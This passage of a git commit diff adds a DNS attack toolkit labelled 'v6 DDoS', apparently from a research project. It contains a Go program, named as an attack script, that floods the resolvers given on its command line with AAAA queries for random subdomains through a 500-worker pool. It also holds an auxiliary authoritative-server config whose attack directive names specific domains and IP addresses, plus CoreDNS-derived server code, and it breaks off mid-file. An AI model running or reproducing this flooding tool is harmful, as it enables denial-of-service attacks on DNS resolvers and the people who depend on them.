添加v6 att脚本4、5、6 + monitor/v6 + monitor_vps相关材料
This commit is contained in:
21
att script/4(v6 DDoS)/code/攻击脚本/go.mod
Normal file
21
att script/4(v6 DDoS)/code/攻击脚本/go.mod
Normal file
@@ -0,0 +1,21 @@
|
||||
module prober
|
||||
|
||||
go 1.20
|
||||
|
||||
require (
|
||||
github.com/miekg/dns v1.1.55
|
||||
github.com/panjf2000/ants/v2 v2.8.2
|
||||
github.com/schollz/progressbar/v3 v3.13.1
|
||||
github.com/thanhpk/randstr v1.0.6
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/mattn/go-runewidth v0.0.14 // indirect
|
||||
github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db // indirect
|
||||
github.com/rivo/uniseg v0.2.0 // indirect
|
||||
golang.org/x/mod v0.7.0 // indirect
|
||||
golang.org/x/net v0.2.0 // indirect
|
||||
golang.org/x/sys v0.6.0 // indirect
|
||||
golang.org/x/term v0.6.0 // indirect
|
||||
golang.org/x/tools v0.3.0 // indirect
|
||||
)
|
||||
46
att script/4(v6 DDoS)/code/攻击脚本/go.sum
Normal file
46
att script/4(v6 DDoS)/code/攻击脚本/go.sum
Normal file
@@ -0,0 +1,46 @@
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/k0kubun/go-ansi v0.0.0-20180517002512-3bf9e2903213/go.mod h1:vNUNkEQ1e29fT/6vq2aBdFsgNPmy8qMdSay1npru+Sw=
|
||||
github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
|
||||
github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU=
|
||||
github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/miekg/dns v1.1.55 h1:GoQ4hpsj0nFLYe+bWiCToyrBEJXkQfOOIvFGFy0lEgo=
|
||||
github.com/miekg/dns v1.1.55/go.mod h1:uInx36IzPl7FYnDcMeVWxj9byh7DutNykX4G9Sj60FY=
|
||||
github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ=
|
||||
github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw=
|
||||
github.com/panjf2000/ants/v2 v2.8.2 h1:D1wfANttg8uXhC9149gRt1PDQ+dLVFjNXkCEycMcvQQ=
|
||||
github.com/panjf2000/ants/v2 v2.8.2/go.mod h1:7ZxyxsqE4vvW0M7LSD8aI3cKwgFhBHbxnlN8mDqHa1I=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
|
||||
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
github.com/schollz/progressbar/v3 v3.13.1 h1:o8rySDYiQ59Mwzy2FELeHY5ZARXZTVJC7iHD6PEFUiE=
|
||||
github.com/schollz/progressbar/v3 v3.13.1/go.mod h1:xvrbki8kfT1fzWzBT/UZd9L6GA+jdL7HAgq2RFnO6fQ=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||
github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8=
|
||||
github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
|
||||
github.com/thanhpk/randstr v1.0.6 h1:psAOktJFD4vV9NEVb3qkhRSMvYh4ORRaj1+w/hn4B+o=
|
||||
github.com/thanhpk/randstr v1.0.6/go.mod h1:M/H2P1eNLZzlDwAzpkkkUvoyNNMbzRGhESZuEQk3r0U=
|
||||
golang.org/x/mod v0.7.0 h1:LapD9S96VoQRhi/GrNTqeBJFrUjs5UHCAtTlgwA5oZA=
|
||||
golang.org/x/mod v0.7.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
||||
golang.org/x/net v0.2.0 h1:sZfSu1wtKLGlWI4ZZayP0ck9Y73K1ynO6gqzTdBVdPU=
|
||||
golang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY=
|
||||
golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E=
|
||||
golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y=
|
||||
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.6.0 h1:MVltZSvRTcU2ljQOhs94SXPftV6DCNnZViHeQps87pQ=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.6.0 h1:clScbb1cHjoCkyRbWwBEUZ5H/tIFu5TAXIqaZD0Gcjw=
|
||||
golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U=
|
||||
golang.org/x/tools v0.3.0 h1:SrNbZl6ECOS1qFzgTdQfWXZM9XBkiA6tkFrH9YSTPHM=
|
||||
golang.org/x/tools v0.3.0/go.mod h1:/rWhSS2+zyEVwoJf8YAX6L2f0ntZ7Kn/mGgAWcipA5k=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
49
att script/4(v6 DDoS)/code/攻击脚本/main.go
Normal file
49
att script/4(v6 DDoS)/code/攻击脚本/main.go
Normal file
@@ -0,0 +1,49 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"github.com/miekg/dns"
|
||||
"github.com/panjf2000/ants/v2"
|
||||
"github.com/schollz/progressbar/v3"
|
||||
"github.com/thanhpk/randstr"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// 攻击
|
||||
func main() {
|
||||
defer ants.Release()
|
||||
|
||||
var wg sync.WaitGroup
|
||||
|
||||
p, _ := ants.NewPool(500, ants.WithPreAlloc(true))
|
||||
|
||||
c := new(dns.Client)
|
||||
args := os.Args
|
||||
qname := args[1]
|
||||
runcount, _ := strconv.Atoi(args[2])
|
||||
bar := progressbar.Default(int64(runcount*len(args[3:])), "发包进度")
|
||||
for i := runcount; i > 0; i-- {
|
||||
for _, v := range args[3:] {
|
||||
wg.Add(1)
|
||||
|
||||
fqdn := strings.ToLower(randstr.String(10)) + "." + qname
|
||||
msg := dns.Msg{}
|
||||
msg.SetQuestion(fqdn, dns.TypeAAAA)
|
||||
vi := v + ":53"
|
||||
|
||||
_ = p.Submit(
|
||||
func() {
|
||||
_, _, err := c.Exchange(&msg, vi)
|
||||
wg.Done()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
})
|
||||
bar.Add(1)
|
||||
}
|
||||
}
|
||||
wg.Wait()
|
||||
print("完成!!")
|
||||
}
|
||||
4
att script/4(v6 DDoS)/code/辅助权威服务器/Ohmyfile
Normal file
4
att script/4(v6 DDoS)/code/辅助权威服务器/Ohmyfile
Normal file
@@ -0,0 +1,4 @@
|
||||
|
||||
.:53 {
|
||||
atk adns comm.n64.top. nsatk.n64.top. 8.210.161.5 v6.natk.club. nsv6.natk.club. 240b:4001:21b:d300:c4b4:9a3a:6d21:62ae 30
|
||||
}
|
||||
5
att script/4(v6 DDoS)/code/辅助权威服务器/core/core.go
Normal file
5
att script/4(v6 DDoS)/code/辅助权威服务器/core/core.go
Normal file
@@ -0,0 +1,5 @@
|
||||
package core
|
||||
|
||||
// 注册服务并导入所有插件
|
||||
import _ "ohmydns2/core/dnsserver"
|
||||
import _ "ohmydns2/core/prober"
|
||||
86
att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/address.go
Normal file
86
att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/address.go
Normal file
@@ -0,0 +1,86 @@
|
||||
package dnsserver
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type zoneAddr struct {
|
||||
Zone string
|
||||
Port string
|
||||
Transport string // dns, tls or grpc
|
||||
Address string // used for bound zoneAddr - validation of overlapping
|
||||
}
|
||||
|
||||
// String returns the string representation of z.
|
||||
func (z zoneAddr) String() string {
|
||||
s := z.Transport + "://" + z.Zone + ":" + z.Port
|
||||
if z.Address != "" {
|
||||
s += " on " + z.Address
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// SplitProtocolHostPort splits a full formed address like "dns://[::1]:53" into parts.
|
||||
func SplitProtocolHostPort(address string) (protocol string, ip string, port string, err error) {
|
||||
parts := strings.Split(address, "://")
|
||||
switch len(parts) {
|
||||
case 1:
|
||||
ip, port, err := net.SplitHostPort(parts[0])
|
||||
return "", ip, port, err
|
||||
case 2:
|
||||
ip, port, err := net.SplitHostPort(parts[1])
|
||||
return parts[0], ip, port, err
|
||||
default:
|
||||
return "", "", "", fmt.Errorf("provided value is not in an address format : %s", address)
|
||||
}
|
||||
}
|
||||
|
||||
type zoneOverlap struct {
|
||||
registeredAddr map[zoneAddr]zoneAddr // each zoneAddr is registered once by its key
|
||||
unboundOverlap map[zoneAddr]zoneAddr // the "no bind" equiv ZoneAddr is registered by its original key
|
||||
}
|
||||
|
||||
func newOverlapZone() *zoneOverlap {
|
||||
return &zoneOverlap{registeredAddr: make(map[zoneAddr]zoneAddr), unboundOverlap: make(map[zoneAddr]zoneAddr)}
|
||||
}
|
||||
|
||||
// registerAndCheck adds a new zoneAddr for validation, it returns information about existing or overlapping with already registered
|
||||
// we consider that an unbound address is overlapping all bound addresses for same zone, same port
|
||||
func (zo *zoneOverlap) registerAndCheck(z zoneAddr) (existingZone *zoneAddr, overlappingZone *zoneAddr) {
|
||||
existingZone, overlappingZone = zo.check(z)
|
||||
if existingZone != nil || overlappingZone != nil {
|
||||
return existingZone, overlappingZone
|
||||
}
|
||||
// there is no overlap, keep the current zoneAddr for future checks
|
||||
zo.registeredAddr[z] = z
|
||||
zo.unboundOverlap[z.unbound()] = z
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// check validates a zoneAddr for overlap without registering it
|
||||
func (zo *zoneOverlap) check(z zoneAddr) (existingZone *zoneAddr, overlappingZone *zoneAddr) {
|
||||
if exist, ok := zo.registeredAddr[z]; ok {
|
||||
// exact same zone already registered
|
||||
return &exist, nil
|
||||
}
|
||||
uz := z.unbound()
|
||||
if already, ok := zo.unboundOverlap[uz]; ok {
|
||||
if z.Address == "" {
|
||||
// current is not bound to an address, but there is already another zone with a bind address registered
|
||||
return nil, &already
|
||||
}
|
||||
if _, ok := zo.registeredAddr[uz]; ok {
|
||||
// current zone is bound to an address, but there is already an overlapping zone+port with no bind address
|
||||
return nil, &uz
|
||||
}
|
||||
}
|
||||
// there is no overlap
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// unbound returns an unbound version of the zoneAddr
|
||||
func (z zoneAddr) unbound() zoneAddr {
|
||||
return zoneAddr{Zone: z.Zone, Address: "", Port: z.Port, Transport: z.Transport}
|
||||
}
|
||||
105
att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/config.go
Normal file
105
att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/config.go
Normal file
@@ -0,0 +1,105 @@
|
||||
package dnsserver
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"ohmydns2/plugin"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
"time"
|
||||
|
||||
"github.com/coredns/caddy"
|
||||
)
|
||||
|
||||
// Config configuration for a single server.
|
||||
type Config struct {
|
||||
// The zone of the site.
|
||||
Zone string
|
||||
|
||||
// one or several hostnames to bind the server to.
|
||||
// defaults to a single empty string that denote the wildcard address
|
||||
ListenHosts []string
|
||||
|
||||
// The port to listen on.
|
||||
Port string
|
||||
|
||||
// Root points to a base directory we find user defined "things".
|
||||
// First consumer is the file plugin to looks for zone files in this place.
|
||||
Root string
|
||||
|
||||
// Debug controls the panic/recover mechanism that is enabled by default.
|
||||
Debug bool
|
||||
|
||||
// Stacktrace controls including stacktrace as part of log from recover mechanism, it is disabled by default.
|
||||
Stacktrace bool
|
||||
|
||||
// The transport we implement, normally just "dns" over TCP/UDP, but could be
|
||||
// DNS-over-TLS or DNS-over-gRPC.
|
||||
Transport string
|
||||
|
||||
// If this function is not nil it will be used to inspect and validate
|
||||
// HTTP requests. Although this isn't referenced in-tree, external plugins
|
||||
// may depend on it.
|
||||
HTTPRequestValidateFunc func(*http.Request) bool
|
||||
|
||||
// FilterFuncs is used to further filter access
|
||||
// to this handler. E.g. to limit access to a reverse zone
|
||||
// on a non-octet boundary, i.e. /17
|
||||
FilterFuncs []FilterFunc
|
||||
|
||||
// ViewName is the name of the Viewer PLugin defined in the Config
|
||||
ViewName string
|
||||
|
||||
// TLSConfig when listening for encrypted connections (gRPC, DNS-over-TLS).
|
||||
TLSConfig *tls.Config
|
||||
|
||||
// Timeouts for TCP, TLS and HTTPS servers.
|
||||
ReadTimeout time.Duration
|
||||
WriteTimeout time.Duration
|
||||
IdleTimeout time.Duration
|
||||
|
||||
// TSIG secrets, [name]key.
|
||||
TsigSecret map[string]string
|
||||
|
||||
// Plugin stack.
|
||||
Plugin []plugin.Plugin
|
||||
|
||||
// Compiled plugin stack.
|
||||
pluginChain plugin.Handler
|
||||
|
||||
// Plugin interested in announcing that they exist, so other plugin can call methods
|
||||
// on them should register themselves here. The name should be the name as return by the
|
||||
// Handler's Name method.
|
||||
registry map[string]plugin.Handler
|
||||
|
||||
// firstConfigInBlock is used to reference the first config in a server block, for the
|
||||
// purpose of sharing single instance of each plugin among all zones in a server block.
|
||||
firstConfigInBlock *Config
|
||||
|
||||
// metaCollector references the first MetadataCollector plugin, if one exists
|
||||
metaCollector MetadataCollector
|
||||
}
|
||||
|
||||
// FilterFunc is a function that filters requests from the Config
|
||||
type FilterFunc func(context.Context, *request.Request) bool
|
||||
|
||||
// keyForConfig builds a key for identifying the configs during setup time
|
||||
func keyForConfig(blocIndex int, blocKeyIndex int) string {
|
||||
return fmt.Sprintf("%d:%d", blocIndex, blocKeyIndex)
|
||||
}
|
||||
|
||||
// GetConfig gets the Config that corresponds to c.
|
||||
// If none exist nil is returned.
|
||||
func GetConfig(c *caddy.Controller) *Config {
|
||||
ctx := c.Context().(*dnsContext)
|
||||
key := keyForConfig(c.ServerBlockIndex, c.ServerBlockKeyIndex)
|
||||
if cfg, ok := ctx.keysToConfigs[key]; ok {
|
||||
return cfg
|
||||
}
|
||||
// we should only get here during tests because directive
|
||||
// actions typically skip the server blocks where we make
|
||||
// the configs.
|
||||
ctx.saveConfig(key, &Config{ListenHosts: []string{""}})
|
||||
return GetConfig(c)
|
||||
}
|
||||
29
att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/https.go
Normal file
29
att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/https.go
Normal file
@@ -0,0 +1,29 @@
|
||||
package dnsserver
|
||||
|
||||
import (
|
||||
"net"
|
||||
"net/http"
|
||||
"ohmydns2/plugin/pkg/nonwriter"
|
||||
)
|
||||
|
||||
// DoHWriter is a nonwriter.Writer that adds more specific LocalAddr and RemoteAddr methods.
|
||||
type DoHWriter struct {
|
||||
nonwriter.Writer
|
||||
|
||||
// raddr is the remote's address. This can be optionally set.
|
||||
raddr net.Addr
|
||||
// laddr is our address. This can be optionally set.
|
||||
laddr net.Addr
|
||||
|
||||
// request is the HTTP request we're currently handling.
|
||||
request *http.Request
|
||||
}
|
||||
|
||||
// RemoteAddr returns the remote address.
|
||||
func (d *DoHWriter) RemoteAddr() net.Addr { return d.raddr }
|
||||
|
||||
// LocalAddr returns the local address.
|
||||
func (d *DoHWriter) LocalAddr() net.Addr { return d.laddr }
|
||||
|
||||
// Request returns the HTTP request
|
||||
func (d *DoHWriter) Request() *http.Request { return d.request }
|
||||
@@ -0,0 +1,60 @@
|
||||
package dnsserver
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"ohmydns2/plugin/pkg/dnsutil"
|
||||
"regexp"
|
||||
"sort"
|
||||
)
|
||||
|
||||
// checkZoneSyntax() checks whether the given string match 1035 Preferred Syntax or not.
|
||||
// The root zone, and all reverse zones always return true even though they technically don't meet 1035 Preferred Syntax
|
||||
func checkZoneSyntax(zone string) bool {
|
||||
if zone == "." || dnsutil.IsReverse(zone) != 0 {
|
||||
return true
|
||||
}
|
||||
regex1035PreferredSyntax, _ := regexp.MatchString(`^(([A-Za-z]([A-Za-z0-9-]*[A-Za-z0-9])?)\.)+$`, zone)
|
||||
return regex1035PreferredSyntax
|
||||
}
|
||||
|
||||
// startUpZones creates the text that we show when starting up:
|
||||
// grpc://example.com.:1055
|
||||
// example.com.:1053 on 127.0.0.1
|
||||
func startUpZones(protocol, addr string, zones map[string][]*Config) string {
|
||||
s := ""
|
||||
|
||||
keys := make([]string, len(zones))
|
||||
i := 0
|
||||
|
||||
for k := range zones {
|
||||
keys[i] = k
|
||||
i++
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
for _, zone := range keys {
|
||||
//if strings.HasPrefix(protocol, "prober") {
|
||||
// s += fmt.Sprintln("探测服务启动,访问路径为" + "http://" + prober.proberurl + ":" + transport.PHTTPPort + prober.proberPath)
|
||||
// continue
|
||||
//}
|
||||
if !checkZoneSyntax(zone) {
|
||||
s += fmt.Sprintf("Warning: Domain %q does not follow RFC1035 preferred syntax\n", zone)
|
||||
}
|
||||
// split addr into protocol, IP and Port
|
||||
_, ip, port, err := SplitProtocolHostPort(addr)
|
||||
|
||||
if err != nil {
|
||||
// this should not happen, but we need to take care of it anyway
|
||||
s += fmt.Sprintln(protocol + zone + ":" + addr)
|
||||
continue
|
||||
}
|
||||
if ip == "" {
|
||||
s += fmt.Sprintln(protocol + zone + ":" + port)
|
||||
continue
|
||||
}
|
||||
// if the server is listening on a specific address let's make it visible in the log,
|
||||
// so one can differentiate between all active listeners
|
||||
s += fmt.Sprintln(protocol + zone + ":" + port + " on " + ip)
|
||||
}
|
||||
return s
|
||||
}
|
||||
328
att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/register.go
Normal file
328
att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/register.go
Normal file
@@ -0,0 +1,328 @@
|
||||
package dnsserver
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"ohmydns2/plugin"
|
||||
"ohmydns2/plugin/pkg/parse"
|
||||
"ohmydns2/plugin/pkg/transport"
|
||||
"time"
|
||||
|
||||
"github.com/coredns/caddy"
|
||||
"github.com/coredns/caddy/caddyfile"
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
const serverType = "dns"
|
||||
|
||||
func init() {
|
||||
caddy.RegisterServerType(serverType, caddy.ServerType{
|
||||
Directives: func() []string { return Directives },
|
||||
DefaultInput: func() caddy.Input {
|
||||
return caddy.CaddyfileInput{
|
||||
Filepath: "Ohmyfile",
|
||||
Contents: []byte(".:" + Port + " {\nwhoami\nlog\n}\n"),
|
||||
ServerTypeName: serverType,
|
||||
}
|
||||
},
|
||||
NewContext: newContext,
|
||||
})
|
||||
}
|
||||
|
||||
func newContext(i *caddy.Instance) caddy.Context {
|
||||
return &dnsContext{keysToConfigs: make(map[string]*Config)}
|
||||
}
|
||||
|
||||
type dnsContext struct {
|
||||
keysToConfigs map[string]*Config
|
||||
|
||||
// configs is the master list of all site configs.
|
||||
configs []*Config
|
||||
}
|
||||
|
||||
func (h *dnsContext) saveConfig(key string, cfg *Config) {
|
||||
h.configs = append(h.configs, cfg)
|
||||
h.keysToConfigs[key] = cfg
|
||||
}
|
||||
|
||||
// Compile-time check to ensure dnsContext implements the caddy.Context interface
|
||||
var _ caddy.Context = &dnsContext{}
|
||||
|
||||
// InspectServerBlocks make sure that everything checks out before
|
||||
// executing directives and otherwise prepares the directives to
|
||||
// be parsed and executed.
|
||||
func (h *dnsContext) InspectServerBlocks(sourceFile string, serverBlocks []caddyfile.ServerBlock) ([]caddyfile.ServerBlock, error) {
|
||||
// Normalize and check all the zone names and check for duplicates
|
||||
for ib, s := range serverBlocks {
|
||||
// Walk the s.Keys and expand any reverse address in their proper DNS in-addr zones. If the expansions leads for
|
||||
// more than one reverse zone, replace the current value and add the rest to s.Keys.
|
||||
zoneAddrs := []zoneAddr{}
|
||||
for ik, k := range s.Keys {
|
||||
trans, k1 := parse.Transport(k) // get rid of any dns:// or other scheme.
|
||||
hosts, port, err := plugin.SplitHostPort(k1)
|
||||
// We need to make this a fully qualified domain name to catch all errors here and not later when
|
||||
// plugin.Normalize is called again on these strings, with the prime difference being that the domain
|
||||
// name is fully qualified. This was found by fuzzing where "ȶ" is deemed OK, but "ȶ." is not (might be a
|
||||
// bug in miekg/dns actually). But here we were checking ȶ, which is OK, and later we barf in ȶ. leading to
|
||||
// "index out of range".
|
||||
for ih := range hosts {
|
||||
_, _, err := plugin.SplitHostPort(dns.Fqdn(hosts[ih]))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if port == "" {
|
||||
switch trans {
|
||||
case transport.DNS:
|
||||
port = Port
|
||||
case transport.TLS:
|
||||
port = transport.TLSPort
|
||||
case transport.GRPC:
|
||||
port = transport.GRPCPort
|
||||
case transport.HTTPS:
|
||||
port = transport.HTTPSPort
|
||||
}
|
||||
}
|
||||
|
||||
if len(hosts) > 1 {
|
||||
s.Keys[ik] = hosts[0] + ":" + port // replace for the first
|
||||
for _, h := range hosts[1:] { // add the rest
|
||||
s.Keys = append(s.Keys, h+":"+port)
|
||||
}
|
||||
}
|
||||
for i := range hosts {
|
||||
zoneAddrs = append(zoneAddrs, zoneAddr{Zone: dns.Fqdn(hosts[i]), Port: port, Transport: trans})
|
||||
}
|
||||
}
|
||||
|
||||
serverBlocks[ib].Keys = s.Keys // important to save back the new keys that are potentially created here.
|
||||
|
||||
var firstConfigInBlock *Config
|
||||
|
||||
for ik := range s.Keys {
|
||||
za := zoneAddrs[ik]
|
||||
s.Keys[ik] = za.String()
|
||||
// Save the config to our master list, and key it for lookups.
|
||||
cfg := &Config{
|
||||
Zone: za.Zone,
|
||||
ListenHosts: []string{""},
|
||||
Port: za.Port,
|
||||
Transport: za.Transport,
|
||||
}
|
||||
|
||||
// Set reference to the first config in the current block.
|
||||
// This is used later by MakeServers to share a single plugin list
|
||||
// for all zones in a server block.
|
||||
if ik == 0 {
|
||||
firstConfigInBlock = cfg
|
||||
}
|
||||
cfg.firstConfigInBlock = firstConfigInBlock
|
||||
|
||||
keyConfig := keyForConfig(ib, ik)
|
||||
h.saveConfig(keyConfig, cfg)
|
||||
}
|
||||
}
|
||||
return serverBlocks, nil
|
||||
}
|
||||
|
||||
// MakeServers uses the newly-created siteConfigs to create and return a list of server instances.
|
||||
func (h *dnsContext) MakeServers() ([]caddy.Server, error) {
|
||||
// Copy the Plugin, ListenHosts and Debug from first config in the block
|
||||
// to all other config in the same block . Doing this results in zones
|
||||
// sharing the same plugin instances and settings as other zones in
|
||||
// the same block.
|
||||
for _, c := range h.configs {
|
||||
c.Plugin = c.firstConfigInBlock.Plugin
|
||||
c.ListenHosts = c.firstConfigInBlock.ListenHosts
|
||||
c.Debug = c.firstConfigInBlock.Debug
|
||||
c.Stacktrace = c.firstConfigInBlock.Stacktrace
|
||||
|
||||
// Fork TLSConfig for each encrypted connection
|
||||
c.TLSConfig = c.firstConfigInBlock.TLSConfig.Clone()
|
||||
c.ReadTimeout = c.firstConfigInBlock.ReadTimeout
|
||||
c.WriteTimeout = c.firstConfigInBlock.WriteTimeout
|
||||
c.IdleTimeout = c.firstConfigInBlock.IdleTimeout
|
||||
c.TsigSecret = c.firstConfigInBlock.TsigSecret
|
||||
}
|
||||
|
||||
// we must map (group) each config to a bind address
|
||||
groups, err := groupConfigsByListenAddr(h.configs)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// then we create a server for each group
|
||||
var servers []caddy.Server
|
||||
for addr, group := range groups {
|
||||
// switch on addr
|
||||
switch tr, _ := parse.Transport(addr); tr {
|
||||
case transport.DNS:
|
||||
s, err := NewServer(addr, group)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
servers = append(servers, s)
|
||||
|
||||
case transport.TLS:
|
||||
s, err := NewServerTLS(addr, group)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
servers = append(servers, s)
|
||||
//暂不启用grpc传输
|
||||
//case transport.GRPC:
|
||||
// s, err := NewServergRPC(addr, group)
|
||||
// if err != nil {
|
||||
// return nil, err
|
||||
// }
|
||||
// servers = append(servers, s)
|
||||
//case transport.PROBER:
|
||||
// s, err := prober.NewProberHTTP(addr, group)
|
||||
// if err != nil {
|
||||
// return nil, err
|
||||
// }
|
||||
// servers = append(servers, s)
|
||||
case transport.HTTPS:
|
||||
s, err := NewServerHTTPS(addr, group)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
servers = append(servers, s)
|
||||
}
|
||||
}
|
||||
|
||||
// For each server config, check for View Filter plugins
|
||||
for _, c := range h.configs {
|
||||
// Add filters in the plugin.cfg order for consistent filter func evaluation order.
|
||||
for _, d := range Directives {
|
||||
if vf, ok := c.registry[d].(Viewer); ok {
|
||||
if c.ViewName != "" {
|
||||
return nil, fmt.Errorf("multiple views defined in server block")
|
||||
}
|
||||
c.ViewName = vf.ViewName()
|
||||
c.FilterFuncs = append(c.FilterFuncs, vf.Filter)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Verify that there is no overlap on the zones and listen addresses
|
||||
// for unfiltered server configs
|
||||
errValid := h.validateZonesAndListeningAddresses()
|
||||
if errValid != nil {
|
||||
return nil, errValid
|
||||
}
|
||||
|
||||
return servers, nil
|
||||
}
|
||||
|
||||
// AddPlugin adds a plugin to a site's plugin stack.
|
||||
func (c *Config) AddPlugin(m plugin.Plugin) {
|
||||
c.Plugin = append(c.Plugin, m)
|
||||
}
|
||||
|
||||
// registerHandler adds a handler to a site's handler registration. Handlers
|
||||
//
|
||||
// use this to announce that they exist to other plugin.
|
||||
func (c *Config) registerHandler(h plugin.Handler) {
|
||||
if c.registry == nil {
|
||||
c.registry = make(map[string]plugin.Handler)
|
||||
}
|
||||
|
||||
// Just overwrite...
|
||||
c.registry[h.Name()] = h
|
||||
}
|
||||
|
||||
// Handler returns the plugin handler that has been added to the config under its name.
|
||||
// This is useful to inspect if a certain plugin is active in this server.
|
||||
// Note that this is order dependent and the order is defined in directives.go, i.e. if your plugin
|
||||
// comes before the plugin you are checking; it will not be there (yet).
|
||||
func (c *Config) Handler(name string) plugin.Handler {
|
||||
if c.registry == nil {
|
||||
return nil
|
||||
}
|
||||
if h, ok := c.registry[name]; ok {
|
||||
return h
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Handlers returns a slice of plugins that have been registered. This can be used to
|
||||
// inspect and interact with registered plugins but cannot be used to remove or add plugins.
|
||||
